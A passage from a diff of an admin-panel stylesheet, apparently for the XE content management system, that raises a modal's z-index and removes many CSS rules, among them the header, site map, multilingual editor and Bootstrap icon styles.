.pBar, .x .prgrs.prgrsSmall .pAction, @@ -225,7 +645,7 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .prgrs.prgrsLarge .pAction, .x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px} /* Modal Window */ -.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:99} +.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:1050} .modal .bg{position:absolute;background:#000;_background:none;width:100%;height:100%;opacity:.5;z-index:2;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);zoom:1} .modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000} .modal ul, @@ -234,685 +654,4 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .modal .table{margin-bottom:1em} .modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1} .modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px} -.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} -html.modalContainer, -body.modalContainer{_height:100%;_width:100%} /* IE6 only */ -/* Layer */ -.x .layer, -.x.layer{position:absolute;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:2;zoom:1;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px #666;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .layer h2{font-size:14px} -.x .layer ul, -.x .layer ol, -.x .layer .lined, -.x .layer .table{margin-bottom:1em} -.x .layerClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px} -.x .layerBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} -/* H2 Anchor */ -.x .h2Anchor{position:absolute;right:0;border:0;background:none;color:#00f;text-decoration:underline} -/* Skip Navigation */ -.x .skipNav{margin:0;text-align:center} -@media all and (max-width:860px){ -.x .skipNav{display:none} -} -.x .skipNav a{position:absolute;width:1px;height:1px;display:block;padding:10px 0;font-weight:bold;overflow:hidden} -.x .skipNav a:hover, -.x .skipNav a:active, -.x .skipNav a:focus{position:relative;width:auto;height:auto} -/* Header */ -.x .header{position:relative;z-index:2;padding:30px 0 0 0;background:#4c4c4c;box-shadow:0 0 10px #aaa;zoom:1;border-radius:5px 5px 0 0} -.x .header:after{content:"";display:block;clear:both} -.x .header a{text-decoration:none} -.x .header h1{margin:0 0 10px 20px;font-size:24px;line-height:32px;display:inline-block;*display:inline;zoom:1;vertical-align:middle} -.x .header h1 *{vertical-align:middle} -.x .header h1 a{display:inline-block;color:#fff;text-shadow:1px 1px 0 #000;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=1, OffY=1, Color=#000000, Positive=true);zoom:1} -.x .header h1 .url{font-size:12px;font-weight:normal} -.x .header .site{margin:0 0 10px 20px;display:inline-block;*display:inline;zoom:1} -.x .header .site a{color:#fff;text-decoration:underline} -.x .header #moveSiteList{padding:10px 1em 5px 1em;margin:0} -.x .header #moveSiteList ul{list-style:none;margin:0;padding:0} -.x .header #moveSiteList li{white-space:nowrap;margin:0;padding:4px 0;border-bottom:1px dotted #ccc} -.x .header #siteMapList{padding:0 1em 1em 1em;margin:0} -.x .header #siteMapList li{white-space:nowrap} -.x .header .account{position:absolute;z-index:3;width:100%;top:0;right:0;white-space:nowrap;text-align:right;background:#333;border-bottom:1px solid #656565;color:#fff;font-size:12px;border-radius:5px 5px 0 0} -.x .header .account ul{margin:0;padding:5px 20px 5px 0;list-style:none} -.x .header .account li{position:relative;display:inline;border-left:1px solid #666;padding:0 6px 0 10px} -.x .header .account li:first-child{border:0} -.x .header .account a{color:#fff;display:inline-block;height:14px} -.x .header .account a.language{padding-right:16px;background:url(../img/iconArrow.gif) no-repeat right -160px} -.x .header #language{position:absolute;top:19px;right:-20px;padding:6px 4px !important;border:1px solid #666;border-top:0;background:#333} -@media all and (max-width:860px){ -.x .header #language{right:-10px} -} -.x .header #language li{border:0;display:block;padding:1px 8px 1px 10px;text-align:left;line-height:1} -.x .header #language li.selected{background:url(../img/iconCheck.gif) no-repeat left center} -.x .header #language li.selected a{text-decoration:underline} -.x .header h1 a:hover, -.x .header h1 a:active, -.x .header h1 a:focus, -.x .header .account a:hover, -.x .header .account a:active, -.x .header .account a:focus{color:#6e9cf2;text-decoration:underline} -/* Footer */ -.x .footer{border-top:1px solid #ddd;text-align:center;font-size:12px;padding:1.5em 0;zoom:1} -.x .footer *{font-size:12px} -.x .footer:after{content:"";display:block;clear:both} -.x .footer p{margin:0} -.x .footer .power{float:left} -.x .footer .cache{float:right} -.x .footer .vr{color:#ccc} -/* Body */ -.x .body{position:relative;z-index:1;padding:30px 10px 30px 240px;zoom:1} -.x .body:after{content:"";display:block;clear:both} -/* Content */ -.x .content{float:right;width:100%;margin-left:-210px;zoom:1;outline:0;min-height:500px} -.x .content:after{content:"";display:block;clear:both} -.x .content a{color:#33a} -.x .content a:hover, -.x .content a:active, -.x .content a:focus{color:#a33} -.x .content .portlet a{text-decoration:none} -.x .content .portlet a:hover, -.x .content .portlet a:active, -.x .content .portlet a:focus{text-decoration:underline} -/* Dashboard */ -.x .dashboard .section{margin-top:0} -.x .dashboard .portlet{float:left;width:48%;margin-right:1em;margin-top:0;min-height:188px} -.x .dashboard .portlet:nth-of-type(odd){float:left;width:49%;margin-right:0} -.x .dashboard .portlet:nth-of-type(even){float:right;width:49%;margin-right:0} -@media all and (min-width:1300px){ -.x .dashboard .portlet{float:left !important;width:32% !important;margin-right:1em !important} -} -/* Search */ -.x .search{zoom:1} -.x .search:after{content:"";display:block;clear:both} -.x .search .pagination{float:left;text-align:left} -.x .search form{float:right;margin:1em 0} -.x .search form *{vertical-align:middle} -/* Site Map */ -.x .siteMap h2 input{font-size:14px;font-weight:bold;padding:3px 4px;margin:0;border:0;background:transparent} -.x .siteMap h2:hover input, -.x .siteMap h2 input:focus{background:#ff0;border:1px dashed #ccc;margin:-1px} -.x .siteMap label{cursor:text} -.x .siteMap .lined ul{padding:0;margin:0;border-top:1px solid #eee;zoom:1} -.x .siteMap .lined li{position:relative;padding:0;margin:0;cursor:all-scroll;list-style:none;zoom:1} -.x .siteMap .lined li li{border-top:1px solid #eee} -.x .siteMap li li{text-indent:18px} -.x .siteMap li li li{text-indent:36px} -.x .siteMap li li li li{text-indent:54px} -.x .siteMap li li li li li{text-indent:72px} -.x .siteMap li li li li li li{text-indent:90px} -.x .siteMap li li li li li li li{text-indent:108px} -.x .siteMap li li li li li li li li{text-indent:126px} -.x .siteMap li li li li li li li li li{text-indent:144px} -.x .siteMap li li li li li li li li li li{text-indent:162px} -.x .siteMap li li li li li li li li li li li{text-indent:180px} -.x .siteMap li li li li li li li li li li li li{text-indent:198px} -.x .siteMap li *{vertical-align:middle} -.x .siteMap li .moveTo+input{width:200px;border:0;padding:0 .5em} -.x .siteMap li .moveTo+input:hover, -.x .siteMap li .moveTo+input:active, -.x .siteMap li .moveTo+input:focus{border:1px dotted #ccc;overflow:visible} -.x .siteMap .moveTo{position:relative;z-index:2;width:22px;height:32px;padding:32px 0 0 0;margin:0 3px;_margin-top:-1px;overflow:hidden;background:#fff url(../img/iconMoveTo.gif) no-repeat center 0;border:0;cursor:move} -.x .siteMap li.active, -.x .siteMap li.active .moveTo{background-color:#f7f7f7} -.x .siteMap li.active li, -.x .siteMap li.active ul{border-top-color:#f7f7f7} -.x .siteMap li.active .moveTo{background-position:center -32px} -.x .siteMap .vr, -.x .siteMap .hr{display:none;position:absolute;z-index:1;left:14px;border:0px solid #ccc;overflow:hidden} -.x .siteMap .vr{top:-16px;height:100%;border-left-width:1px} -.x .siteMap .hr{top:16px;width:16px;border-top-width:1px} -.x .siteMap li.active .vr, -.x .siteMap li.active li .hr{display:block} -.x .siteMap li li .vr, -.x .siteMap li li li .hr{left:32px} -.x .siteMap li li li .vr, -.x .siteMap li li li li .hr{left:50px} -.x .siteMap li li li li .vr, -.x .siteMap li li li li li .hr{left:68px} -.x .siteMap li li li li li .vr, -.x .siteMap li li li li li li .hr{left:86px} -.x .siteMap li li li li li li .vr, -.x .siteMap li li li li li li li .hr{left:104px} -.x .siteMap li li li li li li li .vr, -.x .siteMap li li li li li li li li .hr{left:122px} -.x .siteMap li li li li li li li li .vr, -.x .siteMap li li li li li li li li li .hr{left:140px} -.x .siteMap li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li .hr{left:158px} -.x .siteMap li li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li li .hr{left:176px} -.x .siteMap li li li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li li li .hr{left:336px} -.x .siteMap .side{padding-top:0 !important;padding-bottom:0 !important;line-height:30px;background:transparent !important} -.x .siteMap .side button{text-indent:0;line-height:1} -.x .siteMap .tgMap{position:absolute;top:12px;right:1em;padding:0 16px 0 0;line-height:16px;background:url(../img/iconArrow.gif) no-repeat right -126px} -.x .siteMap.fold .tgMap{background-position:right -158px} -.x .siteMap.fold .h2{border-bottom-color:#fff;border-radius:5px} -.x .siteMap .placeholder{background:#bbb} -.x .siteMap .draggable, -.x .siteMap .draggable .moveTo{background-color:#ddd} -.x .siteMap .draggable .summary{border-left:1px solid #ccc;padding-left:10px;margin-left:10px;font-size:11px;color:#999} -.x .siteMap a.ms{text-decoration:underline} -/* Multilingual */ -.x .langEdit{background:#fff;position:absolute;*left:0;*margin-top:28px;z-index:10} -.x .langEdit ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0} -.x .langEdit li{padding:.5em 10px} -.x .langEdit input[type=text]{width:220px;padding-right:40px} -.x .langEdit label{left:15px !important} -.x .langEdit .action{border:1px solid #eee;width:268px;padding:0 10px} -.x .langEdit p, -.x .langEdit .btnArea{white-space:normal} -.x .langEdit .langList, -.x .langEdit .langEditControls{box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .langEdit .langList{margin:0 -1px 0 0;display:none} -.x .langEdit .langList li{white-space:nowrap;color:#ccc;width:270px} -.x .langEdit .langList li span{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;color:#767676} -.x .langEdit .langList li a{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis} -.x .langEdit .langList li.active{background:url(../img/iconArrow.gif) no-repeat right -188px} -.x .langEdit.showChild .langList{display:block} -.x .langEdit .langInput{background:#fff} -.x .langEdit .langInput h2{padding:5px 10px;margin:0 0 -1px 0;font-size:12px;font-weight:normal;color:#666;border:1px solid #eee;border-top-color:#ccc} -.x .langEdit .langInput h2 strong{color:#000;font-size:14px} -.x .langEdit.showChild .langInput{position:absolute;left:285px;top:0} -.x .langEdit li.en input, -.x .langEdit li.en textarea, -.x .mLangEdit li.en textarea{background:url(../img/flag.us.gif) no-repeat 99% 5px} -.x .langEdit li.ko input, -.x .langEdit li.ko textarea, -.x .mLangEdit li.ko textarea{background:url(../img/flag.kr.gif) no-repeat 99% 5px} -.x .langEdit li.jp input, -.x .langEdit li.jp textarea, -.x .mLangEdit li.jp textarea{background:url(../img/flag.jp.gif) no-repeat 99% 5px} -.x .langEdit li.fr input, -.x .langEdit li.fr textarea, -.x .mLangEdit li.fr textarea{background:url(../img/flag.fr.gif) no-repeat 99% 5px} -.x .langEdit li.de input, -.x .langEdit li.de textarea, -.x .mLangEdit li.de textarea{background:url(../img/flag.de.gif) no-repeat 99% 5px} -.x .langEdit li.ru input, -.x .langEdit li.ru textarea, -.x .mLangEdit li.ru textarea{background:url(../img/flag.ru.gif) no-repeat 99% 5px} -.x .langEdit li.es input, -.x .langEdit li.es textarea, -.x .mLangEdit li.es textarea{background:url(../img/flag.es.gif) no-repeat 99% 5px} -.x .langEdit li.tr input, -.x .langEdit li.tr textarea, -.x .mLangEdit li.tr textarea{background:url(../img/flag.tr.gif) no-repeat 99% 5px} -.x .langEdit li.vi input, -.x .langEdit li.vi textarea, -.x .mLangEdit li.vi textarea{background:url(../img/flag.vn.gif) no-repeat 99% 5px} -.x .langEdit li.mn input, -.x .langEdit li.mn textarea, -.x .mLangEdit li.mn textarea{background:url(../img/flag.mn.gif) no-repeat 99% 5px} -.x .langEdit li.zh-CN input, -.x .langEdit li.zh-CN textarea, -.x .mLangEdit li.zh-CN textarea{background:url(../img/flag.cn.gif) no-repeat 99% 5px} -.x .langEdit li.zh-TW input, -.x .langEdit li.zh-TW textarea, -.x .mLangEdit li.zh-TW textarea{background:url(../img/flag.tw.gif) no-repeat 99% 5px} -.x .mLangEdit.en strong{background:url(../img/flag.us.gif) no-repeat 0 10px} -.x .mLangEdit.ko strong{background:url(../img/flag.kr.gif) no-repeat 0 10px} -.x .mLangEdit.jp strong{background:url(../img/flag.jp.gif) no-repeat 0 10px} -.x .mLangEdit.fr strong{background:url(../img/flag.fr.gif) no-repeat 0 10px} -.x .mLangEdit.de strong{background:url(../img/flag.de.gif) no-repeat 0 10px} -.x .mLangEdit.ru strong{background:url(../img/flag.ru.gif) no-repeat 0 10px} -.x .mLangEdit.es strong{background:url(../img/flag.es.gif) no-repeat 0 10px} -.x .mLangEdit.tr strong{background:url(../img/flag.tr.gif) no-repeat 0 10px} -.x .mLangEdit.vi strong{background:url(../img/flag.vn.gif) no-repeat 0 10px} -.x .mLangEdit.mn strong{background:url(../img/flag.mn.gif) no-repeat 0 10px} -.x .mLangEdit.zh-CN strong{background:url(../img/flag.cn.gif) no-repeat 0 10px} -.x .mLangEdit.zh-TW strong{background:url(../img/flag.tw.gif) no-repeat 0 10px} -.x .mLangEdit ul ul{border:0} -.x .mLangEdit li{position:relative;padding:0} -.x .mLangEdit li strong{display:inline-block;padding:6px 100px 8px 24px;font-weight:normal;line-height:1.5} -.x .mLangEdit li .side{position:absolute;top:8px;right:0;padding-right:18px;background:url(../img/iconArrow.gif) no-repeat right -160px} -.x .mLangEdit li li{border:0;padding-right:36px} -.x .mLangEdit li textarea{width:100%;height:16px;padding-right:30px;resize:vertical;line-height:1.4} -.x .mLangEdit li label{top:8px !important} -.x .mLangEdit li.active{background:#FFFDEF} -.x .mLangEdit li.active strong{font-weight:bold} -.x .mLangEdit li.active .side{background-position:right -128px} -.modal .mLangEdit ul{padding-bottom:1em} -.modal .mLangEdit li{border:0;padding-right:36px} -/* Suggestion */ -.x .suggestion{display:none;position:absolute;background:#fff;z-index:10;_height:200px;max-height:200px;overflow:auto;*left:0;*margin-top:28px;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .suggestion ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0} -.x .suggestion li{padding:0} -.x .suggestion li:last-child{border-bottom:0} -.x .suggestion li button{border:0;background:#fff;text-align:left;width:288px;padding:2px 4px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} -.x .suggestion li button:hover, -.x .suggestion li button:active, -.x .suggestion li button:focus, -.x .suggestion li button.active{background:#eee} -/* Image Mark */ -.x #imageMark{right:0} -/* Easy Installer */ -.x .easyNav{position:relative;border:1px solid #e9e9e9;zoom:1} -.x .easyNav:after{content:"";display:block;clear:both} -.x .easyNav h2{font-size:16px} -.x .easyNav .category{width:30%;float:left;margin:0 2em;display:inline} -.x .easyNav .filter{position:absolute;top:0;right:0;margin:1em 2em;text-align:right} -.x .easyList caption .side .text .hide, -.x .easyList caption .side .details .show{display:none} -.x .easyList caption .side .details .hide{display:inline} -.x .easyList td p:first-child{margin:0} -.x .easyList td p.update{background:#ffc;padding:.5em 1em;border:1px solid #fc9;border-left:0;border-right:0;text-align:center} -/* Font Preview */ -.x .fontPreview{width:96%;border:1px solid #e9e9e9;zoom:1;padding:1em 2em;margin:.5em 0} -/* FTP Suggestion */ -.x #ftpSuggestion{background:#fff;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x #ftpSuggestion ul{border-left:1px solid #eee;border-right:1px solid #eee} -.x #ftpSuggestion li{padding:0} -.x #ftpSuggestion li button{border:0;background:#fff;text-align:left;width:288px} -.x #ftpSuggestion li button:hover, -.x #ftpSuggestion li button:active, -.x #ftpSuggestion li button:focus{background:#eee} -/* Theme & Skin Preview */ -.x .thumbPreview li{position:relative;padding-left:10px;padding-right:10px} -.x .thumbPreview li.active.highlight{background:#f9f9f9} -.x .thumbPreview .prevToggle{position:absolute;top:8px;right:10px;line-height:16px;padding:0 18px 0 0;text-decoration:none;background:url(../img/iconArrow.gif) no-repeat right -32px} -.x .thumbPreview li.active .prevToggle{background-position:right 0} -.x .thumbPreview .a{border:0;margin:0;zoom:1} -.x .thumbPreview .a:after{content:"";display:block;clear:both} -.x .thumbPreview .i{float:left;vertical-align:top;margin:0 1em 1em 0;padding:0;border:0;zoom:1} -.x .thumbPreview .i:after{content:"";display:block;clear:both} -.x .thumbPreview .i .thumb{position:relative;width:124px;height:84px;padding:0;margin-bottom:3px;text-align:center;overflow:hidden;border:1px solid #ddd;display:block;cursor:pointer;background:#fff} -.x .thumbPreview .i .thumb .frame{position:absolute;width:120px;height:80px;left:0;top:0;border:2px solid #fff;overflow:hidden} -.x .thumbPreview .i .thumb img{width:120px;margin:0} -.x .thumbPreview .i label{display:block;position:relative;top:0;left:2px;width:122px;height:1.1em;margin:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} -.x .thumbPreview .i input{display:none} -.x .thumbPreview .i ul{display:none} -.x .thumbPreview .selected .i{display:block;float:none} -.x .thumbPreview .selected .i .thumb{float:left;width:186px;height:126px;margin:0 1em 0 0;border:2px solid #eee} -.x .thumbPreview .selected .i .thumb .frame{width:180px;height:120px;border-width:3px} -.x .thumbPreview li.active.highlight .selected .i .thumb{border-color:#5ea8f6} -.x .thumbPreview .selected .i .thumb img{width:180px;position:relative} -.x .thumbPreview li.active .selected .i .thumb img{z-index:auto} -.x .thumbPreview .selected .i label{cursor:text} -.x .thumbPreview .selected .i ul{display:block;list-style:none;border:0;margin:1em 0 1em 200px} -.x .thumbPreview .selected .i li{border:0;padding:0;margin:0 0 .2em 0} -.x .thumbPreview.jx .i label{display:inline;width:auto} -.x .thumbPreview.jx .i.noDirection{display:none} -.x .thumbPreview.jx .i input{display:inline} -.x #skin .showAll{float:right;border:0;overflow:visible;padding:0 18px 0 0;cursor:pointer;color:#00f;background:url(../img/iconArrow.gif) no-repeat right -32px} -.x #skin .showAll.hideAll{background-position:right 0} -/* Favorite On | Off */ -.x .fvOff, -.x .fvOn{display:inline-block;width:16px;height:16px;overflow:hidden;text-indent:16px;background:transparent url(../img/iconFavorite.gif) no-repeat;border:0} -.x .fvOn{background-position:0 -16px} -/* Up-Down Dragable */ -.x .uDrag .wrap{position:relative;padding-left:20px} -.x .uDrag li>.wrap{margin:0 0 0 8px} -.x .uDrag .dragActive{background:#FFD} -.x .uDrag .dragActive th, -.x .uDrag .dragActive td{background:none !important} -.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap} -/* Favicon Preview */ -.x .faviconPreview{position:relative;padding:60px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat} -.x .faviconPreview img{position:absolute} -.x .faviconPreview .fn1{top:30px;left:12px} -.x .faviconPreview .fn2{top:55px;left:68px} -/* Mobile Icon Preview */ -.x .mobiconPreview{position:relative;padding:252px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat} -.x .mobiconPreview img{position:absolute;top:20px;left:10px} -.x .mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px} -/* Text List */ -.x .textList{border:1px solid #ddd !important;line-height:1.5em;height:18.5em;overflow:auto} -.x .textList li{border:0;padding:.25em 1em;height:1.5em;white-space:nowrap;overflow:hidden} -.x .textList li:nth-child(even){background:#eee} -.x .textList li a{float:right} -/* File Box */ -.x .fileBox li{position:relative} -.x .fileBox li img{max-width:100%} -.x .fileBox .portlet ul{margin:1em;list-style:none;padding:0;border:0} -.x .fileBox .portlet li{border-top:1px solid #ddd;border-bottom:0;padding:8px 0} -.x .fileBox .side{position:absolute;top:8px;right:0} -/* Messages */ -.x .desc.error{color:#f00} -.x .desc.success{color:#080} -/* Icon Button */ -.x a.iSetting{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../img/iconSetting.gif) no-repeat} -.x a.cMenu{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../../../../common/img/icon.bubble.png) no-repeat} -.x .sTog{float:right;border:0;background-color:transparent;width:28px;height:18px;opacity:.5;filter:alpha(opacity=50)} -/* Responsive Layout */ -@media all and (max-width:860px){ -.x .header .account ul{padding-right:10px} -.x .body{padding:1em 0 0 0} -.x .content{float:none;margin-left:0} -.x .lnb{float:none;width:auto;margin:1em 0;left:auto} -.x .dashboard .portlet{float:none !important;width:auto !important;margin-right:0} -.modal .fg, -.wfsr .fg{width:auto} -.x .easyNav .category{float:none;display:block;width:auto} -.x .easyNav .filter{position:static} -} -/* Legacy Code (Don't use it. It will be removed as soon as possible.) */ -.x h3.xeAdmin, -.x h4.xeAdmin{position:relative;border-bottom-style:solid;border-bottom-color:#ccc;zoom:1} -.x h3.xeAdmin{border-bottom-width:4px;font-size:24px} -.x h4.xeAdmin{border-bottom-width:3px;font-size:20px} -.x h5.xeAdmin{border-bottom-width:2px;font-size:16px} -.x h6.xeAdmin{border-bottom-width:1px;font-size:12px} -.x .adminSearch{margin:1em 0} -.x .adminSearch fieldset{border:1px solid #ccc;margin:0;padding:.5em 1em} -.x .localNavigation{padding:0;list-style:none} -.x .localNavigation li{display:inline} -.x .localNavigation li.on a{font-weight:bold;color:#333;text-decoration:none} -.x .localNavigation li:before{content:"| "} -.x .localNavigation li:first-child:before{content:""} -.x .summary{margin:1em 0} -.x .rowTable, -.x .colTable, -.x .crossTable{margin:1em 0;border:0;border-collapse:collapse;border-top:2px solid #ccc;width:100%} -.x .rowTable caption, -.x .colTable caption, -.x .crossTable caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0} -.x .rowTable caption:after, -.x .colTable caption:after, -.x .crossTable caption:after{content:"";display:block;clear:both} -.x .rowTable caption a, -.x .colTable caption a, -.x .crossTable caption a{font-weight:normal} -.x .rowTable caption em, -.x .colTable caption em, -.x .crossTable caption em{float:right;font-style:normal;font-weight:normal;color:#e00;margin-left:1em} -.x .rowTable caption strong, -.x .colTable caption strong, -.x .crossTable caption strong{color:#e00} -.x .rowTable caption .side, -.x .colTable caption .side, -.x .crossTable caption .side{float:right;font-weight:normal;margin-left:1em} -.x .rowTable th, -.x .rowTable td, -.x .colTable th, -.x .rowTable td, -.x .crossTable th, -.x .rowTable td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd} -.x .rowTable th, -.x .colTable th, -.x .crossTable th{background:#f8f8f8;white-space:nowrap} -.x .rowTable thead th, -.x .colTable thead th, -.x .crossTable thead th{border-bottom:1px solid #999} -.x .rowTable tfoot td, -.x .colTable tfoot td, -.x .crossTable tfoot td{font-weight:bold;background:#f8f8f8} -.x .rowTable.even tbody tr:nth-of-type(even) td, -.x .colTable.even tbody tr:nth-of-type(even) td, -.x .crossTable.even tbody tr:nth-of-type(even) td{background-color:#fafafa} -.x .rowTable td>input[type=text], -.x .colTable td>input[type=text], -.x .crossTable td>input[type=text]{margin:-1px 0 -3px 0 !important;vertical-align:middle} -.x .rowTable img, -.x .colTable img, -.x .crossTable img{vertical-align:middle} -.x .rowTable .title, -.x .colTable .title, -.x .crossTable .title, -.x .rowTable .text, -.x .colTable .text, -.x .crossTable .text{white-space:normal} -.x .rowTable input[type=text], -.x .colTable input[type=text], -.x .crossTable input[type=text], -.x .rowTable input[type=password], -.x .colTable input[type=password], -.x .crossTable input[type=password], -.x .rowTable input[type=file], -.x .colTable input[type=file], -.x .crossTable input[type=file], -.x .rowTable textarea, -.x .colTable textarea, -.x .crossTable textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent} -.x .rowTable input[type=text], -.x .colTable input[type=text], -.x .crossTable input[type=text], -.x .rowTable input[type=password], -.x .colTable input[type=password], -.x .crossTable input[type=password], -.x .rowTable input[type=file], -.x .colTable input[type=file], -.x .crossTable input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} -.x .clear:after{content:"";display:block;clear:both} - -.x .moduleSearchWindow{position:absolute;width:700px;z-index:100} -.x .moduleSearchWindow, .moduleSearchWindow div{margin:0;padding:0;color:#2d2c2d;font-size:12px} -.x .moduleSearchWindow h2{margin:0;padding:4px;height:24px;line-height:24px;background:#666;text-align:left;color:#fff;font-size:12px} -.x .moduleSearchWindow .sectionDiv{position:relative;margin:0px;background:#fff;border:1px solid} -.x .moduleSearchWindow .siteList{float:left;width:295px} -.x .moduleSearchWindow .highlight{background:yellow;color:red;font-style:italic} -.x .moduleSearchWindow .moduleTypeList{margin-left:5px;float:left;width:200px} -.x .moduleSearchWindow .moduleInstanceList{float:right;width:190px} -.x .moduleSearchWindow ul{margin:0;padding:0;border:0} -.x .moduleSearchWindow li{font-size:12px;border:0;border-bottom:1px solid #ccc;margin:0;padding: 4px 4px;font-family: 나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",AppleGothic,돋움,Dotum,굴림,Gulim,sans-serif} -.x .moduleSearchWindow li:hover, .moduleSearchWindow li.on{background:#eee;cursor:pointer} -.x .moduleSearchWindow li div{margin:0;padding:0;display:inline-block;white-space: nowrap;overflow: hidden;text-overflow: ellipsis} -.x .moduleSearchWindow .siteList li div{width:270px} -.x .moduleSearchWindow .siteListSearchBox{margin:0;padding:4px 0;height:24px;border-bottom:1px solid #888} -.x .moduleSearchWindow .siteListSearchBoxBorder{margin-left:3px;height: 22px;width: 287px;border: 1px solid #ccc} -.x .moduleSearchWindow input.siteListSearchInput{margin:0;padding:0;position:relative;float:right;width: 260px;margin-right:4px;border:0} -.x .moduleSearchWindow .siteListSearchBox .searchImg{position:relative;float:left;margin-top:4px;margin-left:4px} -.x .moduleSearchWindow .moduleTypeList li div{width:170px} -.x .moduleSearchWindow .moduleInstanceList li div{width:190px} -.x .moduleSearchWindow .moduleSearch_ok {float:right} -.x .moduleSearchWindow select.moduleInstanceListSelect {width:100%} - -/*! - * Bootstrap v2.0.4 - * - * Copyright 2012 Twitter, Inc - * Licensed under the Apache License v2.0 - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Designed and built with all the love in the world@twitter by@mdo and@fat. -*/ -/* Bootstrap - Icons */ -[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat} -[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0} -.icon-white{background-image:url("../img/glyphicons-halflings-white.png")} -.icon-glass{background-position:0 0} -.icon-music{background-position:-24px 0} -.icon-search{background-position:-48px 0} -.icon-envelope{background-position:-72px 0} -.icon-heart{background-position:-96px 0} -.icon-star{background-position:-120px 0} -.icon-star-empty{background-position:-144px 0} -.icon-user{background-position:-168px 0} -.icon-film{background-position:-192px 0} -.icon-th-large{background-position:-216px 0} -.icon-th{background-position:-240px 0} -.icon-th-list{background-position:-264px 0} -.icon-ok{background-position:-288px 0} -.icon-remove{background-position:-312px 0} -.icon-zoom-in{background-position:-336px 0} -.icon-zoom-out{background-position:-360px 0} -.icon-off{background-position:-384px 0} -.icon-signal{background-position:-408px 0} -.icon-cog{background-position:-432px 0} -.icon-trash{background-position:-456px 0} -.icon-home{background-position:0 -24px} -.icon-file{background-position:-24px -24px} -.icon-time{background-position:-48px -24px} -.icon-road{background-position:-72px -24px} -.icon-download-alt{background-position:-96px -24px} -.icon-download{background-position:-120px -24px} -.icon-upload{background-position:-144px -24px} -.icon-inbox{background-position:-168px -24px} -.icon-play-circle{background-position:-192px -24px} -.icon-repeat{background-position:-216px -24px} -.icon-refresh{background-position:-240px -24px} -.icon-list-alt{background-position:-264px -24px} -.icon-lock{background-position:-287px -24px} -.icon-flag{background-position:-312px -24px} -.icon-headphones{background-position:-336px -24px} -.icon-volume-off{background-position:-360px -24px} -.icon-volume-down{background-position:-384px -24px} -.icon-volume-up{background-position:-408px -24px} -.icon-qrcode{background-position:-432px -24px} -.icon-barcode{background-position:-456px -24px} -.icon-tag{background-position:0 -48px} -.icon-tags{background-position:-25px -48px} -.icon-book{background-position:-48px -48px} -.icon-bookmark{background-position:-72px -48px} -.icon-print{background-position:-96px -48px} -.icon-camera{background-position:-120px -48px} -.icon-font{background-position:-144px -48px} -.icon-bold{background-position:-167px -48px} -.icon-italic{background-position:-192px -48px} -.icon-text-height{background-position:-216px -48px} -.icon-text-width{background-position:-240px -48px} -.icon-align-left{background-position:-264px -48px} -.icon-align-center{background-position:-288px -48px} -.icon-align-right{background-position:-312px -48px} -.icon-align-justify{background-position:-336px -48px} -.icon-list{background-position:-360px -48px} 